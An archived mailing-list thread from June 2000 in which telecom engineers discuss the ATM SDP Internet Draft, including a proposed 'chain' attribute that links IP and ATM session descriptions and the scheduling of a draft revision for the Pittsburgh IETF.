Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21)
	id <N5Q86X4A>; Thu, 29 Jun 2000 17:57:26 -0400
Message-ID: <4FBEA8857476D311A03300204840E1CFC99C02@whq-msgusr-02.fore.com>
From: "Rosen, Brian" <Brian.Rosen@marconi.com>
To: Rajesh Kumar <rkumar@cisco.com>,
        Sophia Scoggins
	 <scoggins@nortelnetworks.com>
Cc: atmsdp@eng.fore.com, Mark Watson <mwatson@nortelnetworks.com>,
        msf-media@msforum.org, confctrl@ISI.EDU, mmostafa@cisco.com,
        hisham@cisco.com, ifhussai@cisco.com, rbiskner@cisco.com
Subject: RE: Chaining IP and ATM descriptions
Date: Thu, 29 Jun 2000 17:57:25 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01BFE215.02C12F0E"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BFE215.02C12F0E
Content-Type: text/plain;
	charset="iso-8859-1"

We have another mechanism in Megaco, but I'm not sure how well it would work
in MGCP and other
users of SDP.  We create separate terminations for the ATM VC and the flow
on it.  We use this
mechanism because it handles cases like AAL1 and 2 where you have a
multiplexed flow on the same
connection.  So you use one SDP descriptor for the VC, and another, entirely
separate one for 
(each of ) the subflow(s).  It allows you to create and destroy the subflows
independently of the VC.
In particular, it allows you to keep the VC when you have no flows, and
subsequently delete it when you
decide you won't need it again.  While not strictly usefull for the case of
IP over AAL5, using the same
mechanism is good.
 
Brian

-----Original Message-----
From: Rajesh Kumar [mailto:rkumar@cisco.com]
Sent: Wednesday, June 28, 2000 8:55 PM
To: Rosen, Brian; Sophia Scoggins
Cc: atmsdp@eng.fore.com; Mark Watson; msf-media@msforum.org;
confctrl@ISI.EDU; mmostafa@cisco.com; hisham@cisco.com; ifhussai@cisco.com;
rbiskner@cisco.com
Subject: Chaining IP and ATM descriptions


At 08:36 AM 6/27/00 -0400, Rosen, Brian wrote: 


Multiple session descriptions are used as alternatives in Megaco, so your
first solution would
be difficult to use.  


I am aware of that. However, I have an idea which I want to run by these
mailing lists before incorporating it into the draft.

How about a "chain" attribute that chains an SDP descriptor to an
immediately adjacent one (next, previous) so that it is possible to describe
a connection with an IP SDP descriptor as well as an ATM SDP descriptor.
Comes in handy in a number of scenarios such as RSVP-over-SVCs, MPLS etc.

The mechanics of how this is accomplished are trivial.
     a=chain: <pointer>
     <pointer> ::= "next"| "previous"|null

Omitting this attribute is equivalent to null.

As Brian indicated, the current concept in megaco etc. is that multiple
adjacent descriptors imply alternation rather than concatenation of SDP
descriptions. My proposal above would allow both, and would obviate the need
to create horrendously complex SDP descriptions that describe a connection
that is dynamically established at both the IP and ATM layers. Separate,
clean SDP descriptions are provided for the IP and ATM layers, IP is on top
of ATM, and these are chained using the chain attribute.




I'd prefer that the solution show you the complete description, which could
be multiple "layers".  



I strongly feel that the problems Sophia brought up is an important one and
warrants a simple, elegant solution rather than including a lot of IP
parameters into what is basically an ATM SDP description. Providing
separate, chained descriptors for the layers will keep it simple and clean.




I do wonder if we are getting really complex for no good reason.


Perhaps, but we need to address the possibility of RSVP-over-SVCs, MPLS etc.
i.e cases in which there is multi-layer connection establishment.



Specifically, we have a way to specify Annex C, so the real issue is a way
to specify a full
IP/UDP/RTP where the underlying connection is an ATM connection, and, for
some reason,
you have to say that specifically.  


Yes, specifying that the underlying connection is an ATM connection will
work in simple cases. As I mentioned in my last email, you just add an fmtp
to the RTP/IP description.

        a=fmtp: <lower layer>
       
        where <lower layer> is defined as ATM | Ethernet | POS | POLambda |
.....

This might not be adequate when you are trying to establish an IP and the
underlying ATM connection at the same time, and trying to link them
together. I think the chaining mechanism I described above will do the trick
and will keep the descriptions for IP and ATM separate, clean and crisp.



Is that really useful - are there applications that, for example,
want to have the MGC establish an ATM VC to a specific end point,and then
run IP over it,



Yes, there are. RSVP over SVCs is an example. This has been discussed
publicly by several companies. Will this succeed? I don't know. We do not
want to muddy the ATM descriptor with several IP parameters, but we should
be able to chain to an IP descriptor (I think).

If I do not receive inputs to the contrary, I will incorporate the chain
attribute I mentioned above. Hope, this will not ruffle feathers in h.248
and elsewhere. Please let me know.



as opposed to using the more automatic mechanisms like LANE/MPOA and/or
standard
routing over an ATM infrastructure?  
 
Brian


-----Original Message-----
From: Rajesh Kumar [ mailto:rkumar@cisco.com <mailto:rkumar@cisco.com> ]
Sent: Monday, June 26, 2000 7:39 PM
To: Sophia Scoggins
Cc: atmsdp@eng.fore.com; Mark Watson; msf-media@msforum.org;
confctrl@ISI.EDU
Subject: Scope of ATM SDP work

Sophia, Mark, Brian,

At 07:58 AM 6/26/00 -0400, Sophia Scoggins wrote:
>Rajesh,
>
>
>When a MG is capable of routing/switching on IP and different ATM
>layers, then it becomes an issue of how both ends agree on which layer
>to route/switch. If both ends are capable of doing ATM (and the same
>AAL), then all the ATM parameters must be agreed upon by both MGs. In
>that case, c=ATM is used. If we don't use c=ATM and provide necessary
>ATM parameters, the mismatch may happen on the ATM layer setup. 

The IP applications I had in mind involved no call-by-call ATM set-up,
although ATM PVCs could be used for some or all of the IP routing hops. In
this case, the voice call is routed at only on layer (IP) and the ATM
connectivity is fixed.

Of course, if you want to use ATM SVCs that are mapped into an RSVP-based
VoIP network, then what you have said is absolutely true. At the SDP-level,
the way I see it being addressed is through multiple SDP descriptions
(multiple v=) lines. THis is what Megaco mentions too: "When multiple
session descriptions are provided in one descriptor,the "v=" lines are
required as delimiters..."  There would be an ATM session description and an
IP session description.

By its very nature, the ATM SDP  internet draft addresses ATM session
descriptions only. My question to you, to Brian and to the rest of this
mailing list is: Is is adequate for that? Do we need to add special
constructs to it? I do not believe so.

On the other hand, you might want to define a way to use SDP  for IP to
declare whether a lower layer protocol is ethernet or ATM or
Packet-over-sonet or packet-over-lambda. For instance, you can state

        a=fmtp: <lower layer>
       
where <lower layer> is defined as
           ATM | Ethernet | POS | POLambda | .....

 
>
>Once the ATM layer is setup, the applications on both MGs may use the IP
>layer information to do further processing. In that case, the IP layer
>information can either be encapsulated in the ATM payload or be
>explicitly specified in the SDP. If an intermediate node is involved, we
>usually don't like it to peek into the payload to find the information.
>The needed information should be in the SDP. At the same time, we don't
>want the same information be put in two places (SDP and payload),
>either.  
>
>The layering protocol principle is that if layer 2 get you where you
>want to be, then don't go up to layer 3. We go up to layer 3 in the
>situation that layer 2 protocols are different. For example, one end
>does VOIP/ATM and the other end does VOIP/ETHERNET. Any intermediate
>nodes can use different protocols, but that is transparent in the SDP
>for end-to-end description.
>
>The question is how does the originating MG knows which layer 2 protocol
>the terminating MG uses? Mark Watson and I have a proposal in draft,
>which will be submitted to ITU-T SG11 BICC/CS2, to provide a solution
>for this type of situation. However, ITU-T SG11 may not be the right
>group to evaluate the idea. This group or SG16 may be the right one for
>discussion.

It would be great if you can share your draft with us at the right time.
However, I am not sure if this is the right group since you're not looking
at VoATM but VoIP via flexible lower layer selection. As I mentioned before,
at the SDP level, this would be handled in a separate IP SDP descriptor,
placed just next to the ATM SDP descriptor.

I do not want the ATM SDP work to be side-tracked at this point or in the
Pittsburgh IETF on issues that, while being very important and interesting,
are tangential to ATM SDP. However, I would be glad to review, discuss and
offer suggestions on your scheme in this or in another forum.

Please let me know if you agree.
 
>Rajesh Kumar wrote:
>> 
>> Sophia,
>> 
>> 
>> >Do you know if VOIP/ATM will use both c=IN and c=ATM?
>> 
>> VoIP will use c=IN regardless of whether it runs over ATM or not. In
>> some cases, it might run partially over an ATM segment and partially
>> over a non-ATM segment. This case should be treated in the SDP as a
>> VoIP.
>> 
>> c=ATM will be used when RTP is encapsulated raw over AAL5 (no IP)as in
>> H.323 Annex C.
>> 
> 
^^^^^^^^^^^^^^^^^^^^^
Rajesh Kumar, Ph.D.
Technical Leader        
Carrier Packet Voice
Cisco Systems
San Jose, California
^^^^^^^^^^^^^^^^^^^^^
 rkumar@cisco.com                 
408 527 0811                
^^^^^^^^^^^^^^^^^^^^^
 



^^^^^^^^^^^^^^^^^^^^^
Rajesh Kumar, Ph.D.
Technical Leader        
Carrier Packet Voice
Cisco Systems
San Jose, California
^^^^^^^^^^^^^^^^^^^^^
 rkumar@cisco.com                 
408 527 0811                
^^^^^^^^^^^^^^^^^^^^^
 



------_=_NextPart_001_01BFE215.02C12F0E
Content-Type: text/html;
	charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">


<META content="MSHTML 5.00.3017.1000" name=GENERATOR></HEAD>
<BODY>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=720383415-29062000>We 
have another mechanism in Megaco, but I'm not sure how well it would work in 
MGCP and other</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=720383415-29062000>users 
of SDP.&nbsp; We create separate terminations for the ATM VC and the flow on 
it.&nbsp; We use this</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=720383415-29062000>mechanism because it handles cases like AAL1 and 2 
where you have a multiplexed flow on the same</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=720383415-29062000>connection.&nbsp; So you use one SDP descriptor for the 
VC, and another, entirely separate one for </SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=720383415-29062000>(each 
of ) the subflow(s).&nbsp; It allows you to create and destroy the subflows 
independently of the VC.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=720383415-29062000>In 
particular, it allows you to keep the VC when you have no flows, and 
subsequently delete it when you</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=720383415-29062000>decide 
you won't need it again.&nbsp; While not strictly usefull for the case of IP 
over AAL5, using the same</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=720383415-29062000>mechanism is good.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=720383415-29062000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=720383415-29062000>Brian</SPAN></FONT></DIV>
<BLOCKQUOTE 
style="BORDER-LEFT: #0000ff 2px solid; MARGIN-LEFT: 5px; PADDING-LEFT: 5px">
  <DIV align=left class=OutlookMessageHeader dir=ltr><FONT face=Tahoma 
  size=2>-----Original Message-----<BR><B>From:</B> Rajesh Kumar 
  [mailto:rkumar@cisco.com]<BR><B>Sent:</B> Wednesday, June 28, 2000 8:55 
  PM<BR><B>To:</B> Rosen, Brian; Sophia Scoggins<BR><B>Cc:</B> 
  atmsdp@eng.fore.com; Mark Watson; msf-media@msforum.org; confctrl@ISI.EDU; 
  mmostafa@cisco.com; hisham@cisco.com; ifhussai@cisco.com; 
  rbiskner@cisco.com<BR><B>Subject:</B> Chaining IP and ATM 
  descriptions<BR><BR></DIV></FONT>At 08:36 AM 6/27/00 -0400, Rosen, Brian 
  wrote: <BR><FONT color=#0000ff face=arial size=2>
  <BLOCKQUOTE cite type="cite">Multiple session descriptions are used as 
    alternatives in Megaco, so your first solution would</FONT><BR>be difficult 
    to use.&nbsp; </BLOCKQUOTE><BR>I am aware of that. However, I have an idea 
  which I want to run by these mailing lists before incorporating it into the 
  draft.<BR><BR>How about a "chain" attribute that chains an SDP descriptor to 
  an immediately adjacent one (next, previous) so that it is possible to 
  describe a connection with an IP SDP descriptor as well as an ATM SDP 
  descriptor. Comes in handy in a number of scenarios such as RSVP-over-SVCs, 
  MPLS etc.<BR><BR>The mechanics of how this is accomplished are 
  trivial.<BR>&nbsp;&nbsp;&nbsp;&nbsp; a=chain: 
  &lt;pointer&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp; &lt;pointer&gt; ::= "next"| 
  "previous"|null<BR><BR>Omitting this attribute is equivalent to 
  null.<BR><BR>As Brian indicated, the current concept in megaco etc. is that 
  multiple adjacent descriptors imply alternation rather than concatenation of 
  SDP descriptions. My proposal above would allow both, and would obviate the 
  need to create horrendously complex SDP descriptions that describe a 
  connection that is dynamically established at both the IP and ATM layers. 
  Separate, clean SDP descriptions are provided for the IP and ATM layers, IP is 
  on top of ATM, and these are chained using the chain 
  attribute.<BR><BR><BR><FONT color=#0000ff face=arial size=2>
  <BLOCKQUOTE cite type="cite">I'd prefer that the solution show you the 
    complete description, which could</FONT><BR>be multiple "layers".&nbsp; 
  </BLOCKQUOTE><BR><BR>I strongly feel that the problems Sophia brought up is an 
  important one and warrants a simple, elegant solution rather than including a 
  lot of IP parameters into what is basically an ATM SDP description. Providing 
  separate, chained descriptors for the layers will keep it simple and 
  clean.<BR><BR><BR><FONT color=#0000ff face=arial size=2>
  <BLOCKQUOTE cite type="cite">I do wonder if we are getting really complex 
    for no good reason.</FONT></BLOCKQUOTE><BR>Perhaps, but we need to address the 
  possibility of RSVP-over-SVCs, MPLS etc. i.e cases in which there is 
  multi-layer connection establishment.<BR><BR><FONT color=#0000ff face=arial 
  size=2>
  <BLOCKQUOTE cite type="cite">Specifically, we have a way to specify Annex C, 
    so the real issue is a way to specify a full</FONT><BR>IP/UDP/RTP where the 
    underlying connection is an ATM connection, and, for some reason,<BR>you 
    have to say that specifically.&nbsp; </BLOCKQUOTE><BR>Yes, specifying that the 
  underlying connection is an ATM connection will work in simple cases. As I 
  mentioned in my last email, you just add an fmtp to the RTP/IP 
  description.<BR><BR><X-TAB>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</X-TAB>a=fmtp: 
  &lt;lower layer&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
  <BR><X-TAB>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</X-TAB>where 
  &lt;lower layer&gt; is defined as ATM | Ethernet | POS | POLambda | 
  .....<BR><BR>This might not be adequate when you are trying to establish an IP 
  and the underlying ATM connection at the same time, and trying to link them 
  together. I think the chaining mechanism I described above will do the trick 
  and will keep the descriptions for IP and ATM separate, clean and 
  crisp.<BR><BR><FONT color=#0000ff face=arial size=2>
  <BLOCKQUOTE cite type="cite">Is that really useful - are there applications 
    that, for example,</FONT><BR>want to have the MGC establish an ATM VC to a 
    specific end point,and then run IP over it,</BLOCKQUOTE><BR><BR>Yes, there 
  are. RSVP over SVCs is an example. This has been discussed publicly by several 
  companies. Will this succeed? I don't know. We do not want to muddy the ATM 
  descriptor with several IP parameters, but we should be able to chain to an IP 
  descriptor (I think).<BR><BR>If I do not receive inputs to the contrary, I 
  will incorporate the chain attribute I mentioned above. Hope, this will not 
  ruffle feathers in h.248 and elsewhere. Please let me know.<BR><BR><FONT 
  color=#0000ff face=arial size=2>
  <BLOCKQUOTE cite type="cite">as opposed to using the more automatic 
    mechanisms like LANE/MPOA and/or standard</FONT><BR>routing over an ATM 
    infrastructure?&nbsp; <BR>&nbsp;<BR><FONT color=#0000ff face=arial 
    size=2>Brian</FONT><BR><FONT face=tahoma size=2>
    <BLOCKQUOTE cite type="cite">-----Original Message-----<BR><B>From:</B> 
      Rajesh Kumar [<A href="mailto:rkumar@cisco.com" 
      eudora="autourl">mailto:rkumar@cisco.com</A>]<BR><B>Sent:</B> Monday, June 
      26, 2000 7:39 PM<BR><B>To:</B> Sophia Scoggins<BR><B>Cc:</B> 
      atmsdp@eng.fore.com; Mark Watson; msf-media@msforum.org; 
      confctrl@ISI.EDU<BR><B>Subject:</B> Scope of ATM SDP 
      work<BR><BR></FONT>Sophia, Mark, Brian,<BR><BR>At 07:58 AM 6/26/00 -0400, 
      Sophia Scoggins wrote:<BR>&gt;Rajesh,<BR>&gt;<BR>&gt;<BR>&gt;When a MG is 
      capable of routing/switching on IP and different ATM<BR>&gt;layers, then 
      it becomes an issue of how both ends agree on which layer<BR>&gt;to 
      route/switch. If both ends are capable of doing ATM (and the 
      same<BR>&gt;AAL), then all the ATM parameters must be agreed upon by both 
      MGs. In<BR>&gt;that case, c=ATM is used. If we don't use c=ATM and provide 
      necessary<BR>&gt;ATM parameters, the mismatch may happen on the ATM layer 
      setup. <BR><BR><FONT color=#ff0000>The IP applications I had in mind 
      involved no call-by-call ATM set-up, although ATM PVCs could be used for 
      some or all of the IP routing hops. In this case, the voice call is routed 
      at only on layer (IP) and the ATM connectivity is fixed.<BR><BR>Of course, 
      if you want to use ATM SVCs that are mapped into an RSVP-based VoIP 
      network, then what you have said is absolutely true. At the SDP-level, the 
      way I see it being addressed is through multiple SDP descriptions 
      (multiple v=) lines. THis is what Megaco mentions too: "When multiple 
      session descriptions are provided in one descriptor,the "v=" lines are 
      required as delimiters..."&nbsp; There would be an ATM session description 
      and an IP session description.<BR><BR>By its very nature, the ATM 
      SDP&nbsp; internet draft addresses ATM session descriptions only. My 
      question to you, to Brian and to the rest of this mailing list is: Is is 
      adequate for that? Do we need to add special constructs to it? I do not 
      believe so.<BR><BR>On the other hand, you might want to define a way to 
      use SDP&nbsp; for IP to declare whether a lower layer protocol is ethernet 
      or ATM or Packet-over-sonet or packet-over-lambda. For instance, you can 
      state<BR><BR><X-TAB>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</X-TAB>a=fmtp: 
      &lt;lower layer&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>where 
      &lt;lower layer&gt; is defined 
      as<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ATM | 
      Ethernet | POS | POLambda | .....<BR><BR></FONT>&nbsp;<BR>&gt;<BR>&gt;Once 
      the ATM layer is setup, the applications on both MGs may use the 
      IP<BR>&gt;layer information to do further processing. In that case, the IP 
      layer<BR>&gt;information can either be encapsulated in the ATM payload or 
      be<BR>&gt;explicitly specified in the SDP. If an intermediate node is 
      involved, we<BR>&gt;usually don't like it to peek into the payload to find 
      the information.<BR>&gt;The needed information should be in the SDP. At 
      the same time, we don't<BR>&gt;want the same information be put in two 
      places (SDP and payload),<BR>&gt;either.&nbsp; <BR>&gt;<BR>&gt;The 
      layering protocol principle is that if layer 2 get you where 
      you<BR>&gt;want to be, then don't go up to layer 3. We go up to layer 3 in 
      the<BR>&gt;situation that layer 2 protocols are different. For example, 
      one end<BR>&gt;does VOIP/ATM and the other end does VOIP/ETHERNET. Any 
      intermediate<BR>&gt;nodes can use different protocols, but that is 
      transparent in the SDP<BR>&gt;for end-to-end 
      description.<BR>&gt;<BR>&gt;The question is how does the originating MG 
      knows which layer 2 protocol<BR>&gt;the terminating MG uses? Mark Watson 
      and I have a proposal in draft,<BR>&gt;which will be submitted to ITU-T 
      SG11 BICC/CS2, to provide a solution<BR>&gt;for this type of situation. 
      However, ITU-T SG11 may not be the right<BR>&gt;group to evaluate the 
      idea. This group or SG16 may be the right one 
      for<BR>&gt;discussion.<BR><BR><FONT color=#ff0000>It would be great if you 
      can share your draft with us at the right time. However, I am not sure if 
      this is the right group since you're not looking at VoATM but VoIP via 
      flexible lower layer selection. As I mentioned before, at the SDP level, 
      this would be handled in a separate IP SDP descriptor, placed just next to 
      the ATM SDP descriptor.<BR><BR>I do not want the ATM SDP work to be 
      side-tracked at this point or in the Pittsburgh IETF on issues that, while 
      being very important and interesting, are tangential to ATM SDP. However, 
      I would be glad to review, discuss and offer suggestions on your scheme in 
      this or in another forum.<BR><BR>Please let me know if you 
      agree.<BR></FONT>&nbsp;<BR>&gt;Rajesh Kumar wrote:<BR>&gt;&gt; 
      <BR>&gt;&gt; Sophia,<BR>&gt;&gt; <BR>&gt;&gt; <BR>&gt;&gt; &gt;Do you know 
      if VOIP/ATM will use both c=IN and c=ATM?<BR>&gt;&gt; <BR>&gt;&gt; VoIP 
      will use c=IN regardless of whether it runs over ATM or not. 
      In<BR>&gt;&gt; some cases, it might run partially over an ATM segment and 
      partially<BR>&gt;&gt; over a non-ATM segment. This case should be treated 
      in the SDP as a<BR>&gt;&gt; VoIP.<BR>&gt;&gt; <BR>&gt;&gt; c=ATM will be 
      used when RTP is encapsulated raw over AAL5 (no IP)as in<BR>&gt;&gt; H.323 
      Annex C.<BR>&gt;&gt; <BR>&gt; <BR><FONT color=#800000 
      face="Times New Roman, Times" 
      size=2>^^^^^^^^^^^^^^^^^^^^^<BR></FONT><B>Rajesh Kumar, Ph.D.<BR></B><FONT 
      color=#800000 face="Arial, Helvetica" size=2>Technical 
      Leader&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>Carrier Packet 
      Voice<BR>Cisco Systems<BR>San Jose, California<BR></FONT><FONT 
      color=#800000 face="Times New Roman, Times" 
      size=2>^^^^^^^^^^^^^^^^^^^^^<BR></FONT><FONT color=#800000 
      face=haettenschweiler 
      size=4>&nbsp;rkumar@cisco.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
      <BR>408 527 0811</FONT><FONT color=#800000 face="Times New Roman, Times" 
      size=2><X-TAB>&nbsp;&nbsp;&nbsp;&nbsp;</X-TAB>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
      <BR>^^^^^^^^^^^^^^^^^^^^^<BR></FONT><FONT color=#800000 
      face=garamond><I>&nbsp;</FONT></I></BLOCKQUOTE></BLOCKQUOTE><BR></I><BR><FONT 
  color=#800000 face="Times New Roman, Times" 
  size=2>^^^^^^^^^^^^^^^^^^^^^<BR></FONT><FONT color=#800000 
  face="Comic Sans MS" size=2><B>Rajesh Kumar, Ph.D.<BR></FONT></B><FONT 
  color=#800000 face="Arial, Helvetica" size=2>Technical 
  Leader&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>Carrier Packet 
  Voice<BR>Cisco Systems<BR>San Jose, California<BR></FONT><FONT color=#800000 
  face="Times New Roman, Times" size=2>^^^^^^^^^^^^^^^^^^^^^<BR></FONT><FONT 
  color=#800000 face=Haettenschweiler 
  size=4>&nbsp;rkumar@cisco.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
  <BR>408 527 0811</FONT><FONT color=#800000 face="Times New Roman, Times" 
  size=2><X-TAB>&nbsp;&nbsp;&nbsp;&nbsp;</X-TAB>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
  <BR>^^^^^^^^^^^^^^^^^^^^^<BR></FONT><FONT color=#800000 
  face=Garamond><I>&nbsp;<BR></BLOCKQUOTE></FONT></I></BODY></HTML>

------_=_NextPart_001_01BFE215.02C12F0E--

From confctrl-owner  Fri Jun 30 11:18:26 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id LAA05621
	for confctrl-outgoing; Fri, 30 Jun 2000 11:18:26 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id LAA05616
	for <confctrl@zephyr.isi.edu>; Fri, 30 Jun 2000 11:18:25 -0700 (PDT)
Received: from farley.cisco.com (farley.cisco.com [171.71.153.30])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id LAA29317
	for <confctrl@ISI.EDU>; Fri, 30 Jun 2000 11:19:08 -0700 (PDT)
Received: from rkumar-ntl ([144.254.252.22])
	by farley.cisco.com (8.8.8/2.6/Cisco List Logging/8.8.8) with SMTP id LAA19879;
	Fri, 30 Jun 2000 11:18:22 -0700 (PDT)
Message-Id: <4.1.20000629214210.00cf0eb0@wanbu-mail.cisco.com>
Message-Id: <4.1.20000629214210.00cf0eb0@wanbu-mail.cisco.com>
X-Sender: rkumar@wanbu-mail.cisco.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 
Date: Fri, 30 Jun 2000 11:14:23 -0700
To: "Rosen, Brian" <Brian.Rosen@marconi.com>,
        Sophia Scoggins <scoggins@nortelnetworks.com>
From: Rajesh Kumar <rkumar@cisco.com>
Subject: RE: Chaining IP and ATM descriptions, PLUS 
Cc: atmsdp@eng.fore.com, Mark Watson <mwatson@nortelnetworks.com>,
        msf-media@msforum.org, confctrl@ISI.EDU, mmostafa@cisco.com,
        hisham@cisco.com, ifhussai@cisco.com, rbiskner@cisco.com
In-Reply-To: <4FBEA8857476D311A03300204840E1CFC99C02@whq-msgusr-02.fore.
 com>
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="=====================_312839==_.ALT"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--=====================_312839==_.ALT
Content-Type: text/plain; charset="us-ascii"

At 05:57 PM 6/29/00 -0400, Rosen, Brian wrote: 
>
> We have another mechanism in Megaco, but I'm not sure how well it would work
> in MGCP and other
> users of SDP.  We create separate terminations for the ATM VC and the flow on
> it.  We use this
> mechanism because it handles cases like AAL1 and 2 where you have a
> multiplexed flow on the same
> connection.  So you use one SDP descriptor for the VC, and another, entirely
> separate one for 
> (each of ) the subflow(s).  It allows you to create and destroy the subflows
> independently of the VC.
> In particular, it allows you to keep the VC when you have no flows, and
> subsequently delete it when you
> decide you won't need it again.  While not strictly usefull for the case of
> IP over AAL5, using the same
> mechanism is good.


Yes, I agree. However, to make the SDP draft generic I will include the 'chain'
attribute I described below.

Another point: We need to freeze the draft for the Pittsburgh IETF. I will be
issuing the next draft
draft-rajeshkumar-mmusic-sdp-atm-04.txt next week  with the page numbers
etc.    I will be submitting it to the IETF.

I will still be receiving and recording comments, but I will defer updates
until after the Pittsburgh IETF. Hopefully, we will have a standards track
version of this Internet Draft following the Pittsburgh meeting.

Rajesh

>
>  
> Brian
>>
>> -----Original Message-----
>> From: Rajesh Kumar [mailto:rkumar@cisco.com]
>> Sent: Wednesday, June 28, 2000 8:55 PM
>> To: Rosen, Brian; Sophia Scoggins
>> Cc: atmsdp@eng.fore.com; Mark Watson; msf-media@msforum.org;
>> confctrl@ISI.EDU; mmostafa@cisco.com; hisham@cisco.com; ifhussai@cisco.com;
>> rbiskner@cisco.com
>> Subject: Chaining IP and ATM descriptions
>>
>> At 08:36 AM 6/27/00 -0400, Rosen, Brian wrote: 
>>>
>>> Multiple session descriptions are used as alternatives in Megaco, so your
>>> first solution would
>>> be difficult to use.  
>>
>>
>> I am aware of that. However, I have an idea which I want to run by these
>> mailing lists before incorporating it into the draft.
>>
>> How about a "chain" attribute that chains an SDP descriptor to an
>> immediately adjacent one (next, previous) so that it is possible to describe
>> a connection with an IP SDP descriptor as well as an ATM SDP descriptor.
>> Comes in handy in a number of scenarios such as RSVP-over-SVCs, MPLS etc.
>>
>> The mechanics of how this is accomplished are trivial.
>>      a=chain: <pointer>
>>      <pointer> ::= "next"| "previous"|null
>>
>> Omitting this attribute is equivalent to null.
>>
>> As Brian indicated, the current concept in megaco etc. is that multiple
>> adjacent descriptors imply alternation rather than concatenation of SDP
>> descriptions. My proposal above would allow both, and would obviate the need
>> to create horrendously complex SDP descriptions that describe a connection
>> that is dynamically established at both the IP and ATM layers. Separate,
>> clean SDP descriptions are provided for the IP and ATM layers, IP is on top
>> of ATM, and these are chained using the chain attribute.
>>
>>
>>>
>>> I'd prefer that the solution show you the complete description, which could
>>> be multiple "layers".  
>>
>>
>>
>> I strongly feel that the problems Sophia brought up is an important one and
>> warrants a simple, elegant solution rather than including a lot of IP
>> parameters into what is basically an ATM SDP description. Providing
>> separate, chained descriptors for the layers will keep it simple and clean.
>>
>>
>>>
>>> I do wonder if we are getting really complex for no good reason.
>>
>>
>> Perhaps, but we need to address the possibility of RSVP-over-SVCs, MPLS etc.
>> i.e cases in which there is multi-layer connection establishment.
>>
>>>
>>> Specifically, we have a way to specify Annex C, so the real issue is a way
>>> to specify a full
>>> IP/UDP/RTP where the underlying connection is an ATM connection, and, for
>>> some reason,
>>> you have to say that specifically.  
>>
>>
>> Yes, specifying that the underlying connection is an ATM connection will
>> work in simple cases. As I mentioned in my last email, you just add an fmtp
>> to the RTP/IP description.
>>
>>         a=fmtp: <lower layer>
>>        
>>         where <lower layer> is defined as ATM | Ethernet | POS | POLambda |
>> .....
>>
>> This might not be adequate when you are trying to establish an IP and the
>> underlying ATM connection at the same time, and trying to link them
>> together. I think the chaining mechanism I described above will do the trick
>> and will keep the descriptions for IP and ATM separate, clean and crisp.
>>
>>>
>>> Is that really useful - are there applications that, for example,
>>> want to have the MGC establish an ATM VC to a specific end point,and then
>>> run IP over it,
>>
>>
>>
>> Yes, there are. RSVP over SVCs is an example. This has been discussed
>> publicly by several companies. Will this succeed? I don't know. We do not
>> want to muddy the ATM descriptor with several IP parameters, but we should
>> be able to chain to an IP descriptor (I think).
>>
>> If I do not receive inputs to the contrary, I will incorporate the chain
>> attribute I mentioned above. Hope, this will not ruffle feathers in h.248
>> and elsewhere. Please let me know.
>>
>>>
>>> as opposed to using the more automatic mechanisms like LANE/MPOA and/or
>>> standard
>>> routing over an ATM infrastructure?  
>>>  
>>> Brian
>>>>
>>>> -----Original Message-----
>>>> From: Rajesh Kumar [mailto:rkumar@cisco.com]
>>>> Sent: Monday, June 26, 2000 7:39 PM
>>>> To: Sophia Scoggins
